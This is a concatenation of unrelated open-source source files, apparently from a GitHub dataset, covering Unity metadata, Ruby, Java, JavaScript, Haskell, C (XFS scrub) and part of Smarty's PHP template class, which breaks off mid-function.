seamlessCubemap: 0
textureFormat: -1
maxTextureSize: 2048
textureSettings:
filterMode: -1
aniso: -1
mipBias: -1
wrapMode: -1
nPOTScale: 1
lightmap: 0
rGBM: 0
compressionQuality: 50
allowsAlphaSplitting: 0
spriteMode: 0
spriteExtrude: 1
spriteMeshType: 1
alignment: 0
spritePivot: {x: 0.5, y: 0.5}
spriteBorder: {x: 0, y: 0, z: 0, w: 0}
spritePixelsToUnits: 100
alphaIsTransparency: 0
textureType: -1
buildTargetSettings: []
spriteSheet:
sprites: []
outline: []
spritePackingTag:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
require 'test_helper'
class UtilTest < Haml::TestCase
include Haml::Util
def test_silence_warnings
old_stderr, $stderr = $stderr, StringIO.new
warn "Out"
assert_equal("Out\n", $stderr.string)
silence_warnings {warn "In"}
assert_equal("Out\n", $stderr.string)
ensure
$stderr = old_stderr
end
def test_check_encoding_does_not_destoy_the_given_string
string_with_bom = File.read(File.dirname(__FILE__) + '/templates/with_bom.haml', :encoding => Encoding::UTF_8)
original = string_with_bom.dup
check_encoding(string_with_bom)
assert_equal(original, string_with_bom)
end
end
| {
"pile_set_name": "Github"
} |
/*
* This file is part of Adblock Plus <https://adblockplus.org/>,
* Copyright (C) 2006-present eyeo GmbH
*
* Adblock Plus is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* Adblock Plus is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Adblock Plus. If not, see <http://www.gnu.org/licenses/>.
*/
package org.adblockplus.libadblockplus.android.webview;
import org.adblockplus.libadblockplus.sitekey.SiteKeysConfiguration;
import java.lang.ref.WeakReference;
/*
* This is base implementation of SiteKeyExtractor
*/
@SuppressWarnings("WeakerAccess") // API
public abstract class BaseSiteKeyExtractor implements SiteKeyExtractor
{
private SiteKeysConfiguration siteKeysConfiguration;
private boolean isEnabled = true;
protected final WeakReference<AdblockWebView> webViewWeakReference;
protected BaseSiteKeyExtractor(final AdblockWebView webView)
{
webViewWeakReference = new WeakReference<>(webView);
}
/**
* Returns the site key config that can be used to retrieve
* {@link org.adblockplus.libadblockplus.sitekey.SiteKeyVerifier} and verify the site key
*
* @return an instance of SiteKeysConfiguration
*/
protected SiteKeysConfiguration getSiteKeysConfiguration()
{
return siteKeysConfiguration;
}
@Override
public void setSiteKeysConfiguration(final SiteKeysConfiguration siteKeysConfiguration)
{
this.siteKeysConfiguration = siteKeysConfiguration;
}
public boolean isEnabled()
{
return isEnabled;
}
@Override
public void setEnabled(final boolean enabled)
{
isEnabled = enabled;
}
}
| {
"pile_set_name": "Github"
} |
<Map>
<Bangs></Bangs>
<Switches></Switches>
<SliderCurves></SliderCurves>
<NumberDialerCurves></NumberDialerCurves>
</Map>
| {
"pile_set_name": "Github"
} |
**To get a list of REST APIs**
Command::
aws apigateway get-rest-apis
Output::
{
"items": [
{
"createdDate": 1438884790,
"id": "12s44z21rb",
"name": "My First API"
}
]
}
| {
"pile_set_name": "Github"
} |
/**
* Created by JetBrains PhpStorm.
* User: taoqili
* Date: 12-1-30
* Time: 下午12:50
* To change this template use File | Settings | File Templates.
*/
var wordImage = {};
//(function(){
var g = baidu.g,
flashObj,flashContainer;
wordImage.init = function(opt, callbacks) {
showLocalPath("localPath");
//createCopyButton("clipboard","localPath");
createFlashUploader(opt, callbacks);
addUploadListener();
addOkListener();
};
function hideFlash(){
flashObj = null;
flashContainer.innerHTML = "";
}
function addOkListener() {
dialog.onok = function() {
if (!imageUrls.length) return;
var urlPrefix = editor.getOpt('imageUrlPrefix'),
images = domUtils.getElementsByTagName(editor.document,"img");
editor.fireEvent('saveScene');
for (var i = 0,img; img = images[i++];) {
var src = img.getAttribute("word_img");
if (!src) continue;
for (var j = 0,url; url = imageUrls[j++];) {
if (src.indexOf(url.original.replace(" ","")) != -1) {
img.src = urlPrefix + url.url;
img.setAttribute("_src", urlPrefix + url.url); //同时修改"_src"属性
img.setAttribute("title",url.title);
domUtils.removeAttributes(img, ["word_img","style","width","height"]);
editor.fireEvent("selectionchange");
break;
}
}
}
editor.fireEvent('saveScene');
hideFlash();
};
dialog.oncancel = function(){
hideFlash();
}
}
/**
* 绑定开始上传事件
*/
function addUploadListener() {
g("upload").onclick = function () {
flashObj.upload();
this.style.display = "none";
};
}
function showLocalPath(id) {
//单张编辑
var img = editor.selection.getRange().getClosedNode();
var images = editor.execCommand('wordimage');
if(images.length==1 || img && img.tagName == 'IMG'){
g(id).value = images[0];
return;
}
var path = images[0];
var leftSlashIndex = path.lastIndexOf("/")||0, //不同版本的doc和浏览器都可能影响到这个符号,故直接判断两种
rightSlashIndex = path.lastIndexOf("\\")||0,
separater = leftSlashIndex > rightSlashIndex ? "/":"\\" ;
path = path.substring(0, path.lastIndexOf(separater)+1);
g(id).value = path;
}
function createFlashUploader(opt, callbacks) {
//由于lang.flashI18n是静态属性,不可以直接进行修改,否则会影响到后续内容
var i18n = utils.extend({},lang.flashI18n);
//处理图片资源地址的编码,补全等问题
for(var i in i18n){
if(!(i in {"lang":1,"uploadingTF":1,"imageTF":1,"textEncoding":1}) && i18n[i]){
i18n[i] = encodeURIComponent(editor.options.langPath + editor.options.lang + "/images/" + i18n[i]);
}
}
opt = utils.extend(opt,i18n,false);
var option = {
createOptions:{
id:'flash',
url:opt.flashUrl,
width:opt.width,
height:opt.height,
errorMessage:lang.flashError,
wmode:browser.safari ? 'transparent' : 'window',
ver:'10.0.0',
vars:opt,
container:opt.container
}
};
option = extendProperty(callbacks, option);
flashObj = new baidu.flash.imageUploader(option);
flashContainer = $G(opt.container);
}
function extendProperty(fromObj, toObj) {
for (var i in fromObj) {
if (!toObj[i]) {
toObj[i] = fromObj[i];
}
}
return toObj;
}
//})();
function getPasteData(id) {
baidu.g("msg").innerHTML = lang.copySuccess + "</br>";
setTimeout(function() {
baidu.g("msg").innerHTML = "";
}, 5000);
return baidu.g(id).value;
}
function createCopyButton(id, dataFrom) {
baidu.swf.create({
id:"copyFlash",
url:"fClipboard_ueditor.swf",
width:"58",
height:"25",
errorMessage:"",
bgColor:"#CBCBCB",
wmode:"transparent",
ver:"10.0.0",
vars:{
tid:dataFrom
}
}, id
);
var clipboard = baidu.swf.getMovie("copyFlash");
var clipinterval = setInterval(function() {
if (clipboard && clipboard.flashInit) {
clearInterval(clipinterval);
clipboard.setHandCursor(true);
clipboard.setContentFuncName("getPasteData");
//clipboard.setMEFuncName("mouseEventHandler");
}
}, 500);
}
createCopyButton("clipboard", "localPath"); | {
"pile_set_name": "Github"
} |
\documentclass{minimal}
\usepackage{polyglossia}
\setmainlanguage{latin}
\begin{document}
\today.
\end{document}
| {
"pile_set_name": "Github"
} |
module DDC.Core.Llvm.Convert.Exp.Case
(convertCase)
where
import DDC.Core.Llvm.Convert.Exp.Atom
import DDC.Core.Llvm.Convert.Context
import DDC.Core.Llvm.Convert.Base
import DDC.Llvm.Syntax
import DDC.Core.Salt.Platform
import DDC.Data.ListUtils
import Control.Monad
import Data.Maybe
import Data.Sequence (Seq, (<|), (|>), (><))
import qualified DDC.Core.Salt as A
import qualified DDC.Core.Exp as C
import qualified Data.Sequence as Seq
-- Case -------------------------------------------------------------------------------------------
convertCase
:: Context -- ^ Context of the conversion.
-> ExpContext -- ^ Expression context.
-> Label -- ^ Label of current block
-> Seq AnnotInstr -- ^ Instructions to prepend to initial block.
-> A.Exp -- ^ Scrutinee of case expression.
-> [A.Alt] -- ^ Alternatives of case expression.
-> ConvertM (Seq Block)
convertCase ctx ectx label instrs xScrut alts
| Just mScrut <- mconvAtom ctx xScrut
= do
xScrut' <- mScrut
-- Convert all the alternatives.
-- If we're in a nested context we'll also get a block to join the
-- results of each alternative.
(alts', blocksJoin)
<- convertAlts ctx ectx alts
-- Determine what default alternative to use for the instruction.
(lDefault, blocksDefault)
<- case last alts' of
AltDefault l bs -> return (l, bs)
AltCase _ l bs -> return (l, bs)
-- Get the alternatives before the default one.
-- This will fail if there are no alternatives at all.
altsTable
<- case takeInit alts' of
Nothing -> throw $ ErrorInvalidExp (A.XCase xScrut alts) Nothing
Just as -> return as
-- Build the jump table of non-default alts.
let table = mapMaybe takeAltCase altsTable
let blocksTable = join $ fmap altResultBlocks $ Seq.fromList altsTable
let switchBlock
= Block label
$ instrs
|> (annotNil $ ISwitch xScrut' lDefault table)
return $ switchBlock
<| (blocksTable >< blocksDefault >< blocksJoin)
| otherwise
= throw $ ErrorInvalidExp (A.XCase xScrut alts) Nothing
-- Alts -------------------------------------------------------------------------------------------
-- | Convert some case alternatives to LLVM.
convertAlts
:: Context -> ExpContext
-> [A.Alt]
-> ConvertM ([AltResult], Seq Block)
-- Alternatives are at top level.
convertAlts ctx ectx@ExpTop{} alts
= do
alts' <- mapM (convertAlt ctx ectx) alts
return (alts', Seq.empty)
-- If we're doing a branch inside a let-binding we need to add a join
-- point to collect the results from each altenative before continuing
-- on to evaluate the rest.
convertAlts ctx (ExpNest ectx vDst lCont) alts
= do
-- Label of the block that does the join.
lJoin <- newUniqueLabel "join"
-- Convert all the alternatives,
-- assiging their results into separate vars.
(vDstAlts, alts')
<- liftM unzip
$ mapM (\alt -> do
vDst' <- newUniqueNamedVar "alt" (typeOfVar vDst)
alt' <- convertAlt ctx (ExpNest ectx vDst' lJoin) alt
lAlt <- return (altResultLabel alt')
return ((XVar vDst', lAlt), alt'))
$ alts
-- A block to join the result from each alternative.
let blockJoin
= Block lJoin
$ Seq.fromList $ map annotNil
[ IPhi vDst vDstAlts
, IBranch lCont ]
return (alts', Seq.singleton blockJoin)
-- Cannot convert alternative in this context.
convertAlts _ ExpAssign{} alts
= throw $ ErrorInvalidAlt alts
$ Just "Cannot convert alternative in this context."
-- Alt --------------------------------------------------------------------------------------------
-- | Convert a case alternative to LLVM.
--
-- This only works for zero-arity constructors.
-- The client should extract the fields of algebraic data objects manually.
convertAlt
:: Context -> ExpContext
-> A.Alt
-> ConvertM AltResult
convertAlt ctx ectx aa
= let pp = contextPlatform ctx
convBodyM = contextConvertBody ctx
in case aa of
A.AAlt A.PDefault x
-> do label <- newUniqueLabel "default"
blocks <- convBodyM ctx ectx Seq.empty label Seq.empty x
return $ AltDefault label blocks
A.AAlt (A.PData C.DaConUnit []) x
-> do label <- newUniqueLabel "alt"
blocks <- convBodyM ctx ectx Seq.empty label Seq.empty x
return $ AltDefault label blocks
A.AAlt (A.PData (C.DaConPrim n) []) x
| Just lit <- convPatName pp n
-> do label <- newUniqueLabel "alt"
blocks <- convBodyM ctx ectx Seq.empty label Seq.empty x
return $ AltCase lit label blocks
A.AAlt (A.PData dc@(C.DaConBound{}) _) _x
-> throw $ ErrorInvalidAlt [aa] (Just $ "found DaConBound" ++ show dc)
A.AAlt pat _x
-> throw $ ErrorInvalidAlt [aa] (Just $ show pat)
-- | Convert a constructor name from a pattern to a LLVM literal.
--
-- Only integral-ish types can be used as patterns, for others
-- such as Floats we rely on the Lite transform to have expanded
-- cases on float literals into a sequence of boolean checks.
convPatName :: Platform -> A.Name -> Maybe Lit
convPatName pp (A.NamePrimLit lit)
= case lit of
A.PrimLitBool True
-> Just $ LitInt (TInt 1) 1
A.PrimLitBool False
-> Just $ LitInt (TInt 1) 0
A.PrimLitNat i
-> Just $ LitInt (TInt (8 * platformAddrBytes pp)) i
A.PrimLitInt i
-> Just $ LitInt (TInt (8 * platformAddrBytes pp)) i
A.PrimLitWord i bits
| elem bits [8, 16, 32, 64]
-> Just $ LitInt (TInt $ fromIntegral bits) i
A.PrimLitTag i
-> Just $ LitInt (TInt (8 * platformTagBytes pp)) i
_ -> Nothing
convPatName _ _
= Nothing
-- | Take the label from an `AltResult`.
altResultLabel :: AltResult -> Label
altResultLabel aa
= case aa of
AltDefault label _ -> label
AltCase _ label _ -> label
-- | Take the blocks from an `AltResult`.
altResultBlocks :: AltResult -> Seq Block
altResultBlocks aa
= case aa of
AltDefault _ blocks -> blocks
AltCase _ _ blocks -> blocks
-- | Take the `Lit` and `Label` from an `AltResult`
takeAltCase :: AltResult -> Maybe (Lit, Label)
takeAltCase ac
= case ac of
AltCase lit label _ -> Just (lit, label)
_ -> Nothing
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
<item>
<shape android:shape="rectangle">
<solid android:color="#CCCCCC" />
</shape>
</item>
<item android:top="1dp">
<shape android:shape="rectangle">
<solid android:color="#FFFFFF" />
</shape>
</item>
</layer-list> | {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.fs.slive;
import java.util.List;
import org.apache.hadoop.fs.FileSystem;
/**
* Operation which wraps a given operation and allows an observer to be notified
* when the operation is about to start and when the operation has finished
*/
class ObserveableOp extends Operation {
/**
* The observation interface which class that wish to monitor starting and
* ending events must implement.
*/
interface Observer {
void notifyStarting(Operation op);
void notifyFinished(Operation op);
}
private Operation op;
private Observer observer;
ObserveableOp(Operation op, Observer observer) {
super(op.getType(), op.getConfig(), op.getRandom());
this.op = op;
this.observer = observer;
}
/**
* Proxy to underlying operation toString()
*/
public String toString() {
return op.toString();
}
@Override // Operation
List<OperationOutput> run(FileSystem fs) {
List<OperationOutput> result = null;
try {
if (observer != null) {
observer.notifyStarting(op);
}
result = op.run(fs);
} finally {
if (observer != null) {
observer.notifyFinished(op);
}
}
return result;
}
}
| {
"pile_set_name": "Github"
} |
// SPDX-License-Identifier: GPL-2.0+
/*
* Copyright (C) 2017 Oracle. All Rights Reserved.
* Author: Darrick J. Wong <darrick.wong@oracle.com>
*/
#include "xfs.h"
#include "xfs_fs.h"
#include "xfs_shared.h"
#include "xfs_format.h"
#include "xfs_trans_resv.h"
#include "xfs_mount.h"
#include "xfs_btree.h"
#include "xfs_alloc.h"
#include "xfs_rmap.h"
#include "scrub/scrub.h"
#include "scrub/common.h"
#include "scrub/btree.h"
/*
* Set us up to scrub free space btrees.
*/
int
xchk_setup_ag_allocbt(
struct xfs_scrub *sc,
struct xfs_inode *ip)
{
return xchk_setup_ag_btree(sc, ip, false);
}
/* Free space btree scrubber. */
/*
* Ensure there's a corresponding cntbt/bnobt record matching this
* bnobt/cntbt record, respectively.
*/
STATIC void
xchk_allocbt_xref_other(
struct xfs_scrub *sc,
xfs_agblock_t agbno,
xfs_extlen_t len)
{
struct xfs_btree_cur **pcur;
xfs_agblock_t fbno;
xfs_extlen_t flen;
int has_otherrec;
int error;
if (sc->sm->sm_type == XFS_SCRUB_TYPE_BNOBT)
pcur = &sc->sa.cnt_cur;
else
pcur = &sc->sa.bno_cur;
if (!*pcur || xchk_skip_xref(sc->sm))
return;
error = xfs_alloc_lookup_le(*pcur, agbno, len, &has_otherrec);
if (!xchk_should_check_xref(sc, &error, pcur))
return;
if (!has_otherrec) {
xchk_btree_xref_set_corrupt(sc, *pcur, 0);
return;
}
error = xfs_alloc_get_rec(*pcur, &fbno, &flen, &has_otherrec);
if (!xchk_should_check_xref(sc, &error, pcur))
return;
if (!has_otherrec) {
xchk_btree_xref_set_corrupt(sc, *pcur, 0);
return;
}
if (fbno != agbno || flen != len)
xchk_btree_xref_set_corrupt(sc, *pcur, 0);
}
/* Cross-reference with the other btrees. */
STATIC void
xchk_allocbt_xref(
struct xfs_scrub *sc,
xfs_agblock_t agbno,
xfs_extlen_t len)
{
if (sc->sm->sm_flags & XFS_SCRUB_OFLAG_CORRUPT)
return;
xchk_allocbt_xref_other(sc, agbno, len);
xchk_xref_is_not_inode_chunk(sc, agbno, len);
xchk_xref_has_no_owner(sc, agbno, len);
xchk_xref_is_not_shared(sc, agbno, len);
}
/* Scrub a bnobt/cntbt record. */
STATIC int
xchk_allocbt_rec(
struct xchk_btree *bs,
union xfs_btree_rec *rec)
{
struct xfs_mount *mp = bs->cur->bc_mp;
xfs_agnumber_t agno = bs->cur->bc_ag.agno;
xfs_agblock_t bno;
xfs_extlen_t len;
bno = be32_to_cpu(rec->alloc.ar_startblock);
len = be32_to_cpu(rec->alloc.ar_blockcount);
if (bno + len <= bno ||
!xfs_verify_agbno(mp, agno, bno) ||
!xfs_verify_agbno(mp, agno, bno + len - 1))
xchk_btree_set_corrupt(bs->sc, bs->cur, 0);
xchk_allocbt_xref(bs->sc, bno, len);
return 0;
}
/* Scrub the freespace btrees for some AG. */
STATIC int
xchk_allocbt(
struct xfs_scrub *sc,
xfs_btnum_t which)
{
struct xfs_btree_cur *cur;
cur = which == XFS_BTNUM_BNO ? sc->sa.bno_cur : sc->sa.cnt_cur;
return xchk_btree(sc, cur, xchk_allocbt_rec, &XFS_RMAP_OINFO_AG, NULL);
}
int
xchk_bnobt(
struct xfs_scrub *sc)
{
return xchk_allocbt(sc, XFS_BTNUM_BNO);
}
int
xchk_cntbt(
struct xfs_scrub *sc)
{
return xchk_allocbt(sc, XFS_BTNUM_CNT);
}
/* xref check that the extent is not free */
void
xchk_xref_is_used_space(
struct xfs_scrub *sc,
xfs_agblock_t agbno,
xfs_extlen_t len)
{
bool is_freesp;
int error;
if (!sc->sa.bno_cur || xchk_skip_xref(sc->sm))
return;
error = xfs_alloc_has_record(sc->sa.bno_cur, agbno, len, &is_freesp);
if (!xchk_should_check_xref(sc, &error, &sc->sa.bno_cur))
return;
if (is_freesp)
xchk_btree_xref_set_corrupt(sc, sc->sa.bno_cur, 0);
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* Smarty Internal Plugin Template
*
* This file contains the Smarty template engine
*
* @package Smarty
* @subpackage Template
* @author Uwe Tews
*/
/**
* Main class with template data structures and methods
*
* @package Smarty
* @subpackage Template
*
* @property Smarty_Template_Source $source
* @property Smarty_Template_Compiled $compiled
* @property Smarty_Template_Cached $cached
*/
class Smarty_Internal_Template extends Smarty_Internal_TemplateBase
{
/**
* cache_id
* @var string
*/
public $cache_id = null;
/**
* $compile_id
* @var string
*/
public $compile_id = null;
/**
* caching enabled
* @var boolean
*/
public $caching = null;
/**
* cache lifetime in seconds
* @var integer
*/
public $cache_lifetime = null;
/**
* Template resource
* @var string
*/
public $template_resource = null;
/**
* flag if compiled template is invalid and must be (re)compiled
* @var bool
*/
public $mustCompile = null;
/**
* flag if template does contain nocache code sections
* @var bool
*/
public $has_nocache_code = false;
/**
* special compiled and cached template properties
* @var array
*/
public $properties = array('file_dependency' => array(),
'nocache_hash' => '',
'function' => array());
/**
* required plugins
* @var array
*/
public $required_plugins = array('compiled' => array(), 'nocache' => array());
/**
* Global smarty instance
* @var Smarty
*/
public $smarty = null;
/**
* blocks for template inheritance
* @var array
*/
public $block_data = array();
/**
* variable filters
* @var array
*/
public $variable_filters = array();
/**
* optional log of tag/attributes
* @var array
*/
public $used_tags = array();
/**
* internal flag to allow relative path in child template blocks
* @var bool
*/
public $allow_relative_path = false;
/**
* internal capture runtime stack
* @var array
*/
public $_capture_stack = array(0 => array());
/**
* Create template data object
*
* Some of the global Smarty settings copied to template scope
* It load the required template resources and cacher plugins
*
* @param string $template_resource template resource string
* @param Smarty $smarty Smarty instance
* @param Smarty_Internal_Template $_parent back pointer to parent object with variables or null
* @param mixed $_cache_id cache id or null
* @param mixed $_compile_id compile id or null
* @param bool $_caching use caching?
* @param int $_cache_lifetime cache life-time in seconds
*/
public function __construct($template_resource, $smarty, $_parent = null, $_cache_id = null, $_compile_id = null, $_caching = null, $_cache_lifetime = null)
{
$this->smarty = &$smarty;
// Smarty parameter
$this->cache_id = $_cache_id === null ? $this->smarty->cache_id : $_cache_id;
$this->compile_id = $_compile_id === null ? $this->smarty->compile_id : $_compile_id;
$this->caching = $_caching === null ? $this->smarty->caching : $_caching;
if ($this->caching === true)
$this->caching = Smarty::CACHING_LIFETIME_CURRENT;
$this->cache_lifetime = $_cache_lifetime === null ? $this->smarty->cache_lifetime : $_cache_lifetime;
$this->parent = $_parent;
// Template resource
$this->template_resource = $template_resource;
// copy block data of template inheritance
if ($this->parent instanceof Smarty_Internal_Template) {
$this->block_data = $this->parent->block_data;
}
}
/**
* Returns if the current template must be compiled by the Smarty compiler
*
* It does compare the timestamps of template source and the compiled templates and checks the force compile configuration
*
* @return boolean true if the template must be compiled
*/
public function mustCompile()
{
if (!$this->source->exists) {
if ($this->parent instanceof Smarty_Internal_Template) {
$parent_resource = " in '$this->parent->template_resource}'";
} else {
$parent_resource = '';
}
throw new SmartyException("Unable to load template {$this->source->type} '{$this->source->name}'{$parent_resource}");
}
if ($this->mustCompile === null) {
$this->mustCompile = (!$this->source->uncompiled && ($this->smarty->force_compile || $this->source->recompiled || $this->compiled->timestamp === false ||
($this->smarty->compile_check && $this->compiled->timestamp < $this->source->timestamp)));
}
return $this->mustCompile;
}
/**
* Compiles the template
*
* If the template is not evaluated the compiled template is saved on disk
*/
public function compileTemplateSource()
{
if (!$this->source->recompiled) {
$this->properties['file_dependency'] = array();
if ($this->source->components) {
// for the extends resource the compiler will fill it
// uses real resource for file dependency
// $source = end($this->source->components);
// $this->properties['file_dependency'][$this->source->uid] = array($this->source->filepath, $this->source->timestamp, $source->type);
} else {
$this->properties['file_dependency'][$this->source->uid] = array($this->source->filepath, $this->source->timestamp, $this->source->type);
}
}
// compile locking
if ($this->smarty->compile_locking && !$this->source->recompiled) {
if ($saved_timestamp = $this->compiled->timestamp) {
touch($this->compiled->filepath);
}
}
// call compiler
try {
$code = $this->compiler->compileTemplate($this);
} catch (Exception $e) {
// restore old timestamp in case of error
if ($this->smarty->compile_locking && !$this->source->recompiled && $saved_timestamp) {
touch($this->compiled->filepath, $saved_timestamp);
}
throw $e;
}
// compiling succeded
if (!$this->source->recompiled && $this->compiler->write_compiled_code) {
// write compiled template
$_filepath = $this->compiled->filepath;
if ($_filepath === false)
throw new SmartyException('getCompiledFilepath() did not return a destination to save the compiled template to');
Smarty_Internal_Write_File::writeFile($_filepath, $code, $this->smarty);
$this->compiled->exists = true;
$this->compiled->isCompiled = true;
}
// release compiler object to free memory
unset($this->compiler);
}
/**
* Writes the cached template output
*
* @return bool
*/
public function writeCachedContent($content)
{
if ($this->source->recompiled || !($this->caching == Smarty::CACHING_LIFETIME_CURRENT || $this->caching == Smarty::CACHING_LIFETIME_SAVED)) {
// don't write cache file
return false;
}
$this->properties['cache_lifetime'] = $this->cache_lifetime;
$this->properties['unifunc'] = 'content_' . str_replace('.', '_', uniqid('', true));
$content = $this->createTemplateCodeFrame($content, true);
$_smarty_tpl = $this;
eval("?>" . $content);
$this->cached->valid = true;
$this->cached->processed = true;
return $this->cached->write($this, $content);
}
/**
* Template code runtime function to get subtemplate content
*
* @param string $template the resource handle of the template file
* @param mixed $cache_id cache id to be used with this template
* @param mixed $compile_id compile id to be used with this template
* @param integer $caching cache mode
* @param integer $cache_lifetime life time of cache data
* @param array $vars optional variables to assign
* @param int $parent_scope scope in which {include} should execute
* @returns string template content
*/
public function getSubTemplate($template, $cache_id, $compile_id, $caching, $cache_lifetime, $data, $parent_scope)
{
// already in template cache?
if ($this->smarty->allow_ambiguous_resources) {
$_templateId = Smarty_Resource::getUniqueTemplateName($this, $template) . $cache_id . $compile_id;
} else {
$_templateId = $this->smarty->joined_template_dir . '#' . $template . $cache_id . $compile_id;
}
if (isset($_templateId[150])) {
$_templateId = sha1($_templateId);
}
if (isset($this->smarty->template_objects[$_templateId])) {
// clone cached template object because of possible recursive call
$tpl = clone $this->smarty->template_objects[$_templateId];
$tpl->parent = $this;
$tpl->caching = $caching;
$tpl->cache_lifetime = $cache_lifetime;
} else {
$tpl = new $this->smarty->template_class($template, $this->smarty, $this, $cache_id, $compile_id, $caching, $cache_lifetime);
}
// get variables from calling scope
if ($parent_scope == Smarty::SCOPE_LOCAL) {
$tpl->tpl_vars = $this->tpl_vars;
$tpl->tpl_vars['smarty'] = clone $this->tpl_vars['smarty'];
} elseif ($parent_scope == Smarty::SCOPE_PARENT) {
$tpl->tpl_vars = &$this->tpl_vars;
} elseif ($parent_scope == Smarty::SCOPE_GLOBAL) {
$tpl->tpl_vars = &Smarty::$global_tpl_vars;
} elseif (($scope_ptr = $this->getScopePointer($parent_scope)) == null) {
$tpl->tpl_vars = &$this->tpl_vars;
} else {
$tpl->tpl_vars = &$scope_ptr->tpl_vars;
}
$tpl->config_vars = $this->config_vars;
if (!empty($data)) {
// set up variable values
foreach ($data as $_key => $_val) {
$tpl->tpl_vars[$_key] = new Smarty_variable($_val);
}
}
return $tpl->fetch(null, null, null, null, false, false, true);
}
/**
* Template code runtime function to set up an inline subtemplate
*
* @param string $template the resource handle of the template file
* @param mixed $cache_id cache id to be used with this template
* @param mixed $compile_id compile id to be used with this template
* @param integer $caching cache mode
* @param integer $cache_lifetime life time of cache data
* @param array $vars optional variables to assign
* @param int $parent_scope scope in which {include} should execute
* @param string $hash nocache hash code
* @returns string template content
*/
public function setupInlineSubTemplate($template, $cache_id, $compile_id, $caching, $cache_lifetime, $data, $parent_scope, $hash)
{
$tpl = new $this->smarty->template_class($template, $this->smarty, $this, $cache_id, $compile_id, $caching, $cache_lifetime);
$tpl->properties['nocache_hash'] = $hash;
// get variables from calling scope
if ($parent_scope == Smarty::SCOPE_LOCAL) {
$tpl->tpl_vars = $this->tpl_vars;
$tpl->tpl_vars['smarty'] = clone $this->tpl_vars['smarty'];
} elseif ($parent_scope == Smarty::SCOPE_PARENT) {
$tpl->tpl_vars = &$this->tpl_vars;
} elseif ($parent_scope == Smarty::SCOPE_GLOBAL) {
$tpl->tpl_vars = &Smarty::$global_tpl_vars;
} elseif (($scope_ptr = $this->getScopePointer($parent_scope)) == null) {
$tpl->tpl_vars = &$this->tpl_vars;
} else {
$tpl->tpl_vars = &$scope_ptr->tpl_vars;
}
$tpl->config_vars = $this->config_vars;
if (!empty($data)) {
// set up variable values
foreach ($data as $_key => $_val) {
$tpl->tpl_vars[$_key] = new Smarty_variable($_val);
}
}
return $tpl;
}
/**
* Create code frame for compiled and cached templates
*
* @param string $content optional template content
* @param bool $cache flag for cache file
* @return string
*/
public function createTemplateCodeFrame($content = '', $cache = false)
{
$plugins_string = '';
// include code for plugins
if (!$cache) {
if (!empty($this->required_plugins['compiled'])) {
$plugins_string = '<?php ';
foreach ($this->required_plugins['compiled'] as $tmp) {
foreach ($tmp as $data) {
$file = addslashes($data['file']);
if (is_Array($data['function'])) {
$plugins_string .= "if (!is_callable(array('{$data['function'][0]}','{$data['function'][1]}'))) include '{$file}';\n";
} else {
$plugins_string .= "if (!is_callable('{$data['function']}')) include '{$file}';\n";
}
}
}
$plugins_string .= '?>';
}
if (!empty($this->required_plugins['nocache'])) {
$this->has_nocache_code = true;
$plugins_string .= "<?php echo '/*%%SmartyNocache:{$this->properties['nocache_hash']}%%*/<?php \$_smarty = \$_smarty_tpl->smarty; ";
foreach ($this->required_plugins['nocache'] as $tmp) {
foreach ($tmp as $data) {
$file = addslashes($data['file']);
if (is_Array($data['function'])) {
$plugins_string .= addslashes("if (!is_callable(array('{$data['function'][0]}','{$data['function'][1]}'))) include '{$file}';\n");
} else {
$plugins_string .= addslashes("if (!is_callable('{$data['function']}')) include '{$file}';\n");
}
}
}
$plugins_string .= "?>/*/%%SmartyNocache:{$this->properties['nocache_hash']}%%*/';?>\n";
}
}
// build property code
$this->properties['has_nocache_code'] = $this->has_nocache_code;
$output = '';
if (!$this->source->recompiled) {
$output = "<?php /*%%SmartyHeaderCode:{$this->properties['nocache_hash']}%%*/";
if ($this->smarty->direct_access_security) {
$output .= "if(!defined('SMARTY_DIR')) exit('no direct access allowed');\n";
}
}
if ($cache) {
// remove compiled code of{function} definition
unset($this->properties['function']);
if (!empty($this->smarty->template_functions)) {
// copy code of {function} tags called in nocache mode
foreach ($this->smarty->template_functions as $name => $function_data) {
if (isset($function_data['called_nocache'])) {
foreach ($function_data['called_functions'] as $func_name) {
$this->smarty->template_functions[$func_name]['called_nocache'] = true;
}
}
}
foreach ($this->smarty->template_functions as $name => $function_data) {
if (isset($function_data['called_nocache'])) {
unset($function_data['called_nocache'], $function_data['called_functions'], $this->smarty->template_functions[$name]['called_nocache']);
$this->properties['function'][$name] = $function_data;
}
}
}
}
$this->properties['version'] = Smarty::SMARTY_VERSION;
if (!isset($this->properties['unifunc'])) {
$this->properties['unifunc'] = 'content_' . str_replace('.', '_', uniqid('', true));
}
if (!$this->source->recompiled) {
$output .= "\$_valid = \$_smarty_tpl->decodeProperties(" . var_export($this->properties, true) . ',' . ($cache ? 'true' : 'false') . "); /*/%%SmartyHeaderCode%%*/?>\n";
$output .= '<?php if ($_valid && !is_callable(\'' . $this->properties['unifunc'] . '\')) {function ' . $this->properties['unifunc'] . '($_smarty_tpl) {?>';
}
$output .= $plugins_string;
$output .= $content;
if (!$this->source->recompiled) {
$output .= "<?php }} ?>\n";
}
return $output;
}
/**
* This function is executed automatically when a compiled or cached template file is included
*
* - Decode saved properties from compiled template and cache files
* - Check if compiled or cache file is valid
*
* @param array $properties special template properties
* @param bool $cache flag if called from cache file
* @return bool flag if compiled or cache file is valid
*/
public function decodeProperties($properties, $cache = false)
{
$this->has_nocache_code = $properties['has_nocache_code'];
